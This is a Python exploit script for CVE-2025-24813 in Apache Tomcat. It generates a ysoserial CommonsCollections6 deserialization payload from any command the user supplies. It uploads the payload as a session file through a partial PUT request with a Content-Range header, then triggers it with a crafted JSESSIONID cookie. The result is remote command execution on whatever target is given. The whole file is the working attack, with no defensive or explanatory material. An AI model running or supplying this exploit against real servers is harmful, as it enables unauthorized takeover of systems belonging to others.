exploit.py

import requests
import subprocess
import random
import string

def exploit_cve_2025_24813(target_url, command):
    # Generate payload
    print("[*] Generating payload...")
    
    java_flags = [
        "--add-opens=java.base/java.util=ALL-UNNAMED",
        "--add-opens=java.base/java.lang.reflect=ALL-UNNAMED",
    ]
    
    cmd = ["java"] + java_flags + ["-jar", "ysoserial-all.jar", "CommonsCollections6", command]
    result = subprocess.run(cmd, capture_output=True)
    payload = result.stdout
    
    print(f"[+] Payload: {len(payload)} bytes")
    
    # Session ID - SIMPLE NAME ONLY
    session_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
    
    # CORRECTED: Just use the session name, no path
    base_url = target_url.rstrip('/')
    upload_url = f"{base_url}/{session_id}.session"
    
    print(f"[*] URL: {upload_url}")
    print(f"[*] Session: {session_id}")
    
    # Headers with Content-Range
    headers = {
        "Content-Range": f"bytes 0-{len(payload)-1}/{len(payload)}",
    }
    
    response = requests.put(
        upload_url,
        data=payload,
        headers=headers,
        verify=False,
        timeout=10
    )
    
    print(f"[*] Status: {response.status_code}")
    
    if response.status_code not in [200, 201, 204]:
        print(f"[!] Failed: {response.text[:300]}")
        return
    
    print(f"[+] Uploaded!")
    
    # The file should be created as .{session_id}.session in work directory
    print(f"\n[*] File should be at:")
    print(f"    C:\\tomcat-9.0.90\\work\\Catalina\\localhost\\ROOT\\.{session_id}.session")
        
    # Trigger with leading dot
    print(f"[*] Triggering with JSESSIONID=.{session_id}")
    
    trigger = requests.get(
        f"{base_url}/",
        cookies={"JSESSIONID": f".{session_id}"},
        verify=False,
        timeout=10
    )
    
    print(f"[+] Triggered: {trigger.status_code}")
    print(f"\n[*] Check for calc.exe:")
    print(f"    tasklist | findstr calc")

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-c", "--command", required=True)
    args = parser.parse_args()
    
    exploit_cve_2025_24813(args.target, args.command)